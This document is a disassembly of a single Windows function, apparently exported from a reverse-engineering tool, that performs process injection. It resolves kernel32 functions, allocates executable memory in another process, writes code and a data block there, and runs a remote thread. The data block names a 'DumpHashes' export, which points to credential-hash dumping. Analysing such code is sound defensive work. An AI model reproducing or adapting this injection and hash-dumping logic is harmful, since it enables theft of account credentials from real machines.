Function at 0x140001c90
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xd68
call fcn.1400018a0
mov qword [rsp + 0x280], rax
cmp qword [rsp + 0x280], 0
jne 0x140001cbb
xor eax, eax
jmp 0x1400020f5
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0xd50], rax
cmp qword [rsp + 0xd50], 0
jne 0x140001cf0
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400020f5
mov r8d, 0x104
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, 0x5c
lea rcx, [rsp + 0x60]
call fcn.140004b20
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x140001d42
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xd50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400020f5
lea rax, [rsp + 0x60]
mov r9, qword [rsp + 0x48]
sub r9, rax
add r9, 1
lea r8, [rsp + 0x60]
mov edx, 0x104
lea rcx, [rsp + 0x170]
call fcn.140005994
mov r9, 0xffffffffffffffff
lea r8, [0x140011920]
mov edx, 0x104
lea rcx, [rsp + 0x170]
call fcn.1400058a8
lea rdx, [0x140011930]
mov rcx, qword [rsp + 0xd50]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x2a0], rax
lea rdx, str.FreeLibrary
mov rcx, qword [rsp + 0xd50]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x2b0], rax
lea rdx, [0x140011950]
mov rcx, qword [rsp + 0xd50]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x2a8], rax
mov r9, 0xffffffffffffffff
lea r8, str.DumpHashes
mov edx, 0x80
lea rcx, [rsp + 0x3bd]
call fcn.140005994
mov r9, 0xffffffffffffffff
lea r8, [rsp + 0x170]
mov edx, 0x105
lea rcx, [rsp + 0x2b8]
call fcn.140005994
mov r9d, 0x801
mov r8, qword [str._RSAPublicKey__Modulus_0GlpvakPCEsq6MjtA7Vx5i5M1IGEqXuIE4sTUI97Ji8wNfKBH0ef4Iuwgo9L_4qN5jN14AUObnb3EHSpeZuHNuIusCm0ZzjRVkx5tagv1iLn7XBkhfSdcJqXhM2YT4WtPYc44HtNcStM6thnWEUpkhGZc38EpLX_nH3kdut0IPgVpFh1m5ID1tKhFuOga54mN5eGU5AAD3_P314ABE7abMMdk8OqTlcMhe55Y51uqIFO3ruzK2BlMFqU7bq4ycs_wmWJ30iTpSOFmAM1i8kxn5tgi39f54JDobDJ3d9VrIleCT762wm_bD_R8YKFApxwYINDA0kaTEAJouAG0w__Modulus__Exponent_AQAB__Exponent___RSAPublicKey_]
mov edx, 0x801
lea rcx, [rsp + 0x43d]
call fcn.140005810
mov r9, 0xffffffffffffffff
mov r8, qword [rsp + 0xd70]
mov edx, 0x105
lea rcx, [rsp + 0xc3e]
call fcn.140005994
cmp qword [rsp + 0x2a0], 0
je 0x140001e83
cmp qword [rsp + 0x2b0], 0
je 0x140001e83
cmp qword [rsp + 0x2a8], 0
jne 0x140001e98
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400020f5
lea rax, [0x140001c80]
lea rcx, [0x140001be0]
sub rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
add rax, 0xaa8
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, qword [rsp + 0x38]
xor edx, edx
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x290], rax
cmp qword [rsp + 0x290], 0
jne 0x140001f09
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400020f5
lea rax, [rsp + 0x288]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
lea r8, [0x140001be0]
mov rdx, qword [rsp + 0x290]
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001f4b
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x288], rax
je 0x140001f7f
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x290]
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x1400020f5
mov rcx, qword [rsp + 0x290]
mov rax, qword [rsp + 0x38]
lea rax, [rcx + rax - 0xaa8]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x288]
mov qword [rsp + 0x20], rax
mov r9d, 0xaa8
lea r8, [rsp + 0x2a0]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001fd9
cmp qword [rsp + 0x288], 0xaa8
je 0x14000200d
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x290]
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x1400020f5
mov r8, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x290]
mov rcx, qword [rsp + 0x280]
call fcn.140001960
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x140002068
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x290]
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400020f5
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x1400020b8
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x290]
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400020f5
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x290]
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0xd68
ret